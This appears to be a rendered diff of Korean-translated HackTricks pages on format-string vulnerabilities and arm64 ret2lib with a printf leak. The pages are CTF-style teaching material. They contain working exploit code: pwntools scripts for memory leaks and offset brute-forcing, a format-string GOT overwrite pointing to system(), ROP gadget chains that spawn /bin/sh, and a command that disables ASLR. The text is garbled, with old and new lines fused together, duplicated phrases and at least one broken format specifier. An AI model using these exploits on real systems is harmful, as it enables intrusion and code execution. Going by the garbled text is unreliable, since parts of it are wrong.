{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요**? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **해킹 요령을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출하세요**.
</details> </details>
{% endhint %}

View file

@ -1,26 +1,29 @@
# 포맷 문자열 # Format Strings
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!</summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에 광고하고 싶으세요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으세요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하고 싶으세요?** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
</details> </details>
{% endhint %}
## 기본 정보 ## Basic Information
C 언어에서 **`printf`**는 **문자열을 출력하는 데 사용할 수 있는 함수**입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **포매터가 있는 원시 텍스트**입니다. 기대되는 **다음 매개변수**는 원시 텍스트에서 **포매터를 대체할 값**입니다. C에서 **`printf`**는 문자열을 **출력**하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **형식 지정자가 포함된 원시 텍스트**입니다. 이 원시 텍스트의 **형식 지정자**를 **대체**할 **값**이 **다음 매개변수**로 기대됩니다.
다른 취약한 함수로는 **`sprintf()`**와 **`fprintf()`**가 있습니다. 다른 취약한 함수로는 **`sprintf()`**와 **`fprintf()`**가 있습니다.
취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때** 발생합니다. 공격자는 **printf 포맷 문자열 기능을 악용하여 특수 입력을 조작**하여 **모든 주소의 데이터를 읽고 쓸 수 있습니다(읽기/쓰기 가능)**. 이렇게 함으로써 **임의의 코드를 실행**할 수 있습니다. 취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때** 발생합니다. 공격자는 **printf 형식** 문자열 기능을 악용하여 **특별한 입력**을 만들어 **읽을 수 있는/쓸 수 있는** 모든 주소에서 **데이터를 읽고 쓸 수** 있습니다. 이렇게 해서 **임의의 코드를 실행**할 수 있습니다.
#### 포맷터: #### Formatters:
```bash ```bash
%08x —> 8 hex bytes %08x —> 8 hex bytes
%d —> Entire %d —> Entire
@ -33,18 +36,18 @@ C 언어에서 **`printf`**는 **문자열을 출력하는 데 사용할 수 있
``` ```
**예시:** **예시:**
* 취약한 예: * 취약한 예:
```c ```c
char buffer[30]; char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions. gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack. printf(buffer); // If buffer contains "%x", it reads from the stack.
``` ```
* 일반적인 사용: * 일반 사용:
```c ```c
int value = 1205; int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
``` ```
* 누락된 인수가 있는 경우: * 인수가 누락된 경우:
```c ```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack. printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
``` ```
@ -63,27 +66,27 @@ return 0;
``` ```
### **포인터 접근** ### **포인터 접근**
형식 **`%<n>$x`**, 여기서 `n`은 숫자로, printf에게 n번째 매개변수(스택에서)를 선택하도록 지시할 수 있습니다. 따라서 printf를 사용하여 스택에서 4번째 매개변수를 읽고 싶다면 다음과 같이 할 수 있습니다: 형식 **`%<n>$x`**에서 `n`은 숫자로, printf에 스택에서 n번째 매개변수를 선택하도록 지시합니다. 따라서 printf를 사용하여 스택에서 4번째 매개변수를 읽고 싶다면 다음과 같이 할 수 있습니다:
```c ```c
printf("%x %x %x %x") printf("%x %x %x %x")
``` ```
그리고 첫 번째부터 네 번째 매개변수까지 읽을 수 있습니다. 그리고 첫 번째부터 네 번째 매개변수까지 읽을 수 있습니다.
또는 다음을 수행할 수 있습니다: 또는 다음과 같이 할 수 있습니다:
```c ```c
printf("$4%x") printf("$4%x")
``` ```
그리고 직접 네 번째를 읽으십시오. and read directly the forth.
공격자가 `pr`**`intf` 매개변수를 제어한다는 점에 유의하십시오.** 이는 공격자의 입력이 `printf`가 호출될 때 스택에 있을 것을 의미하며, 이는 그가 스택에 특정 메모리 주소를 쓸 수 있다는 것을 의미합니다. 공격자가 `pr`**`intf` 매개변수를 제어한다는 점에 유의하세요. 이는 기본적으로** 그의 입력이 `printf`가 호출될 때 스택에 있을 것을 의미하며, 이는 그가 스택에 특정 메모리 주소를 쓸 수 있을 의미합니다.
{% hint style="danger" %} {% hint style="danger" %}
이 입력을 제어하는 공격자는 **임의의 주소를 스택에 추가하고 `printf`가 그에 접근하도록** 만들 수 있습니다. 다음 섹션에서 이 동작을 사용하는 방법에 대해 설명될 것입니다. 이 입력을 제어하는 공격자는 **스택에 임의의 주소를 추가하고 `printf`가 이를 접근하게 만들 수 있습니다**. 다음 섹션에서는 이 동작을 사용하는 방법에 대해 설명합니다.
{% endhint %} {% endhint %}
## **임의 읽기** ## **임의 읽기**
포맷터 **`%n$s`**를 사용하여 **`printf`**가 **n 위치**에 있는 **주소**를 가져와 그 뒤를 따라가서 **문자열처럼 출력**할 수 있습니다(0x00이 발견될 때까지 출력). 따라서 이진 파일의 기본 주소가 **`0x8048000`**이고, 사용자 입력이 스택의 4번째 위치에서 시작한다는 것을 알고 있다면, 이진 파일의 시작을 다음과 같이 출력할 수 있습니다: 형식 지정자 **`%n$s`**를 사용하여 **`printf`**가 **n 위치**에 있는 **주소**를 가져오고 **문자열처럼 출력**할 수 있습니다(0x00이 발견될 때까지 출력). 따라서 바이너리의 기본 주소가 **`0x8048000`**이고, 사용자 입력이 스택의 4번째 위치에서 시작된다는 것을 알고 있다면, 다음과 같이 바이너리의 시작 부분을 출력할 수 있습니다:
```python ```python
from pwn import * from pwn import *
@ -97,16 +100,16 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
``` ```
{% hint style="danger" %} {% hint style="danger" %}
주소 0x8048000을 입력의 시작 부분에 넣을 수 없습니다. 왜냐하면 해당 주소의 끝에 0x00이 cat될 것이기 때문입니다. 입력의 시작 부분에 0x8048000 주소를 넣을 수 없다는 점에 유의하세요. 문자열은 해당 주소의 끝에서 0x00으로 잘리기 때문입니다.
{% endhint %} {% endhint %}
### 오프셋 찾기 ### 오프셋 찾기
입력의 오프셋을 찾으려면 4 또는 8바이트(`0x41414141`)를 보낸 다음 **`%1$x`**를 뒤에 붙이고 `A's`를 검색할 때까지 값을 **증가**시킬 수 있습니다. 입력의 오프셋을 찾기 위해 4 또는 8 바이트(`0x41414141`)를 보낸 다음 **`%1$x`**를 추가하고 **값을 증가시켜** `A's`를 검색할 수 있습니다.
<details> <details>
<summary>printf 오프셋 브루트 포스</summary> <summary>브루트 포스 printf 오프셋</summary>
```python ```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -137,45 +140,45 @@ p.close()
``` ```
</details> </details>
### 얼마나 유용한가 ### 얼마나 유용한가
임의의 읽기는 다음과 같은 용도로 유용할 수 있습니다: 임의 읽기는 다음에 유용할 수 있습니다:
- 메모리에서 **바이너리를 덤프**합니다. * **메모리에서** **바이너리**를 **덤프**하기
- 민감한 정보가 저장된 메모리의 특정 부분에 **액세스**합니다(예: canaries, 암호화 키 또는 사용자 지정 암호와 같은 [CTF 챌린지](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)에서). * **민감한** **정보**가 저장된 메모리의 특정 부분에 **접근하기** (예: 이 [**CTF 챌린지**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)와 같이)
## 임의 쓰기 ## **임의 쓰기**
매터 **`$<num>%n`**은 스택의 \<num> 매개변수에 **지정된 주소**에 **쓰여진 바이트 수**를 **쓰기**합니다. 공격자가 printf로 원하는 만큼 문자를 쓸 수 있다면, **`$<num>%n`**을 사용하여 임의의 숫자를 임의의 주소에 쓸 수 있니다. 맷터 **`$<num>%n`**은 **지정된 주소**에 **쓰기 바이트 수**를 **기록**합니다. 공격자가 printf를 사용하여 원하는 만큼의 문자를 쓸 수 있다면, 그는 **`$<num>%n`**을 사용하여 임의의 숫자를 임의의 주소에 쓸 수 있게 됩니다.
다행히도, 숫자 9999를 쓰기 위해 입력에 9999개의 "A"를 추가할 필요가 없습니다. **`%.<num-write>%<num>$n`** 포매터를 사용하여 **`<num-write>`** 숫자를 **`num` 위치가 가리키는 주소**에 쓸 수 있습니다. 다행히도, 숫자 9999를 쓰기 위해 입력에 9999개의 "A"를 추가할 필요는 없으며, 대신 포맷터 **`%.<num-write>%<num>$n`**을 사용하여 **`<num-write>`** 숫자를 **`num` 위치가 가리키는 주소**에 쓸 수 있습니다.
```bash ```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500 AAAA.%500\$08x —> Param at offset 500
``` ```
그러나 주소를 작성할 때 보통 `0x08049724`와 같은 주소를 한 번에 작성하는 대신 **`$n` 대신 `$hn`**을 사용합니다. 이를 통해 **2바이트만 작성**할 수 있습니다. 따라서 이 작업은 주소의 상위 2바이트와 하위 2바이트에 대해 두 번 수행됩니다. 그러나 일반적으로 `0x08049724`와 같은 주소를 쓰기 위해 (한 번에 쓰기에는 엄청난 숫자입니다), **`$hn`**이 **`$n`** 대신 사용됩니다. 이렇게 하면 **2바이트만 쓸 수 있습니다**. 따라서 이 작업은 주소의 가장 높은 2바이트와 가장 낮은 2바이트에 대해 각각 두 번 수행됩니다.
따라서 이 취약점을 통해 **임의의 주소에 임의의 내용을 쓸 수 있습니다 (임의 쓰기).** 따라서 이 취약점**임의의 주소에 무엇이든 쓸 수 있게** 합니다.
이 예에서 목표는 나중에 호출될 **GOT** 테이블의 **함수**의 **주소**를 **덮어쓰는 것**입니다. 이는 다른 임의 쓰기를 실행하는 기술을 악용할 수 있습니다: 이 예에서 목표는 **GOT** 테이블의 **함수**의 **주소**를 **덮어쓰는 것**입니다. 이 함수는 나중에 호출될 것입니다. 이는 다른 임의 쓰기를 악용하여 exec 기술을 사용할 수 있습니다:
{% content-ref url="../arbitrary-write-2-exec/" %} {% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/) [arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %} {% endcontent-ref %}
**사용자**로부터 **인수**를 **받는 함수**의 **주소**를 **`system`** **함수**로 지정할 것입니다.\ 우리는 **사용자**로부터 **인수**를 **받는** **함수**를 **덮어쓰고**, 이를 **`system`** **함수**를 가리키도록 할 것입니다.\
언급한대로 주소를 작성하려면 보통 2단계가 필요합니다: 먼저 주소의 2바이트를 작성한 다음 나머지 2바이트를 작성합니다. 이를 위해 **`$hn`**이 사용됩니다. 언급했듯이 주소를 쓰기 위해서는 일반적으로 2단계가 필요합니다: 먼저 주소의 2바이트를 쓰고, 그 다음에 나머지 2바이트를 씁니다. 이를 위해 **`$hn`**이 사용됩니다.
* **HOB**는 주소의 상위 2바이트를 가리킵니다. * **HOB**는 주소의 2 높은 바이트를 호출합니다.
* **LOB**는 주소의 하위 2바이트를 가리킵니다. * **LOB**는 주소의 2 낮은 바이트를 호출합니다.
그런 다음, 형식 문자열이 작동하는 방식 때문에 \[HOB, LOB] 중 **먼저 작은 값을 작성**한 다음 다른 값을 작성해야 합니다. 그런 다음, 포맷 문자열의 작동 방식 때문에 **먼저 가장 작은** \[HOB, LOB]를 쓰고 그 다음에 다른 것을 써야 합니다.
만약 HOB < LOB이면\ HOB < LOB\
`[주소+2][주소]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
만약 HOB > LOB이면\ HOB > LOB\
`[주소+2][주소]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
@ -187,13 +190,13 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
### Pwntools 템플릿 ### Pwntools 템플릿
이러한 취약점을 이용한 exploit을 준비하기 위한 **템플릿**을 다음에서 찾을 수 있습니다: 이러한 종류의 취약점을 위한 익스플로잇을 준비할 **템플릿**을 다음에서 찾을 수 있습니다:
{% content-ref url="format-strings-template.md" %} {% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md) [format-strings-template.md](format-strings-template.md)
{% endcontent-ref %} {% endcontent-ref %}
또는 [**여기**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)에서 제공하는 기본 예제를 참고하세요: 또는 [**여기**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)에서 이 기본 예제를 확인하세요:
```python ```python
from pwn import * from pwn import *
@ -214,16 +217,31 @@ p.interactive()
``` ```
## Format Strings to BOF ## Format Strings to BOF
서식 문자열 취약점의 쓰기 동작을 악용하여 **스택의 주소에 쓰기**하고 **버퍼 오버플로우** 유형의 취약점을 악용할 수 있습니다. 형식 문자열 취약점의 쓰기 작업을 악용하여 **스택의 주소에 쓰기****버퍼 오버플로우** 유형의 취약점을 악용할 수 있습니다.
## 다른 예제 및 참고 자료 ## Other Examples & References
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) * [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) * [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) * [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32비트, relro 없음, 캐너리 없음, nx, pie 없음, 스택에서 플래그를 누출하기 위한 기본적인 서식 문자열 사용 (실행 흐름 변경 필요 없음) * 32비트, no relro, no canary, nx, no pie, 스택에서 플래그를 누출하기 위한 형식 문자열의 기본 사용 (실행 흐름을 변경할 필요 없음)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32비트, relro, 캐너리 없음, nx, pie 없음, `fflush` 주소를 win 함수로 덮어쓰기 위한 서식 문자열 (ret2win) * 32비트, relro, no canary, nx, no pie, win 함수로 `fflush` 주소를 덮어쓰는 형식 문자열 (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32비트, relro, 캐너리 없음, nx, pie 없음, `.fini_array` 내부의 main 주소에 주소를 쓰기 위한 서식 문자열 (흐름이 1번 더 루프되도록) 및 `strlen`을 가리키는 GOT 테이블에 `system` 주소를 쓰기. 흐름이 main으로 돌아가면 사용자 입력과 함께 `strlen`이 실행되고 `system`을 가리키므로 전달된 명령을 실행합니다. * 32비트, relro, no canary, nx, no pie, `.fini_array` 내의 main에 있는 주소를 쓰기 위한 형식 문자열 (흐름이 한 번 더 루프됨) 및 `strlen`을 가리키는 GOT 테이블의 `system` 주소를 쓰기. 흐름이 main으로 돌아가면, `strlen`이 사용자 입력으로 실행되고 `system`을 가리키면, 전달된 명령이 실행됩니다.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Ret2lib + Printf leak - arm64 # Ret2lib + Printf leak - arm64
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong>!</summary> <summary>HackTricks 지원하기</summary>
다른 HackTricks 지원 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
## Ret2lib - NX 우회를 통한 ROP (ASLR 없음) ## Ret2lib - ROP를 이용한 NX 우회 (ASLR 없음)
```c ```c
#include <stdio.h> #include <stdio.h>
@ -31,7 +32,8 @@ printfleak();
bof(); bof();
} }
``` ```
캐너리 없이 컴파일하기: Compile without canary:
캔디 없이 컴파일:
```bash ```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr # Disable aslr
@ -41,31 +43,31 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
### x30 오프셋 ### x30 오프셋
**`pattern create 200`**을 사용하여 패턴을 생성하고 해당 패턴을 사용하여 **`pattern search $x30`**으로 오프셋을 확인하면 오프셋이 **`108`** (0x6c)임을 알 수 있습니다. **`pattern create 200`**으로 패턴을 생성하고, **`pattern search $x30`**로 오프셋을 확인하면 오프셋이 **`108`** (0x6c)임을 알 수 있습니다.
<figure><img src="../../../.gitbook/assets/image (1218).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
메인 함수를 확인하면 이진 파일이 로드된 위치로부터 **`printf`**로 직접 이동하는 명령어로 **점프**하고 싶어하는 것을 알 수 있습니다. **`printf`**까지의 오프셋은 **`0x860`**입니다. 분해된 main 함수를 살펴보면 **`printf`**로 직접 점프하는 명령어로 **점프**하고 싶다는 것을 알 수 있으며, 이진 파일이 로드된 위치에서의 오프셋은 **`0x860`**입니다:
<figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure>
### system 및 `/bin/sh` 문자열 찾기 ### system 및 `/bin/sh` 문자열 찾기
ASLR이 비활성화되어 있으므로 주소는 항상 동일합니다. ASLR이 비활성화되어 있으므로 주소는 항상 동일합니다:
<figure><img src="../../../.gitbook/assets/image (1222).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1222).png" alt=""><figcaption></figcaption></figure>
### 가젯 찾기 ### 가젯 찾기
**`x0`**에 **`/bin/sh`** 문자열 주소를 가져와야 하며 **`system`**을 호출해야 합니다. **`x0`**에 문자열 **`/bin/sh`**의 주소를 두고 **`system`**을 호출해야 합니다.
rooper를 사용하여 흥미로운 가젯을 찾았습니다: rooper를 사용하여 흥미로운 가젯이 발견되었습니다:
``` ```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
``` ```
이 가젯은 `$sp + 0x18`에서 `x0`을 로드한 다음 sp에서 x29 및 x30 주소를 로드하여 x30으로 점프합니다. 따라서 이 가젯을 사용하여 **첫 번째 인자를 제어한 다음 system으로 점프**할 수 있습니다. 이 가젯은 **`$sp + 0x18`**에서 `x0`를 로드한 다음, sp에서 x29와 x30의 주소를 로드하고 x30으로 점프합니다. 따라서 이 가젯을 사용하여 **첫 번째 인수를 제어한 다음 system으로 점프할 수 있습니다**.
### 공격 ### Exploit
```python ```python
from pwn import * from pwn import *
from time import sleep from time import sleep
@ -95,7 +97,7 @@ p.sendline(payload)
p.interactive() p.interactive()
p.close() p.close()
``` ```
## Ret2lib - NX, ASL 및 PIE 우회 방법: 스택에서 printf 누출 ## Ret2lib - NX, ASL & PIE 우회와 스택에서의 printf leak
```c ```c
#include <stdio.h> #include <stdio.h>
@ -121,16 +123,17 @@ bof();
} }
``` ```
**캐너리 없이 컴파일하기**: Compile **without canary**:
컴파일 **canary 없이**:
```bash ```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security clang -o rop rop.c -fno-stack-protector -Wno-format-security
``` ```
### PIE 및 ASLR이지만 캐너리는 없음 ### PIE와 ASLR, 그러나 카나리 없음
* 라운드 1: * 1라운드:
* 스택에서 PIE 누출 * 스택에서 PIE 누출
* main으로 돌아가기 위해 bof 악용 * bof를 악용하여 main으로 돌아감
* 라운드 2: * 2라운드:
* 스택에서 libc 누출 * 스택에서 libc 누출
* ROP: ret2system * ROP: ret2system
@ -140,27 +143,27 @@ printf를 호출하기 전에 중단점을 설정하면 스택에 이진 파일
<figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
다양한 오프셋을 시도하면 **`%21$p`**가 이진 주소를 누출할 수 있습니다 (PIE 우회) 그리고 **`%25$p`**가 libc 주소를 누출할 수 있습니다: 다양한 오프셋을 시도해보면, **`%21$p`**는 이진 주소(PIE 우회)를 누출할 수 있고, **`%25$p`**는 libc 주소를 누출할 수 있습니다:
<figure><img src="../../../.gitbook/assets/image (1223).png" alt="" width="440"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
libc 누출된 주소에서 libc의 베이스 주소를 뺀 후, **누출된 주소의 오프셋은 `0x49c40`임을 확인할 수 있습니다.** 누출된 libc 주소에서 libc의 기본 주소를 빼면, **기본 주소에서 누출된 주소의 오프셋은 `0x49c40`임을 알 수 있습니다.**
### x30 오프셋 ### x30 오프셋
이전 예제와 동일한 bof를 사용하므로 참조하십시오. 이전 예제를 참조하세요, bof는 동일합니다.
### 가젯 찾기 ### 가젯 찾기
이전 예제와 마찬가지로 **`x0`**에 문자열 **`/bin/sh`**의 주소를 **`system`**을 호출해야 합니다. 이전 예제와 마찬가지로, **`x0`**에 문자열 **`/bin/sh`**의 주소를 **`system`**을 호출해야 합니다.
rooper를 사용하여 다른 흥미로운 가젯을 찾을 수 있었습니다: rooper를 사용하여 또 다른 흥미로운 가젯이 발견되었습니다:
``` ```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
``` ```
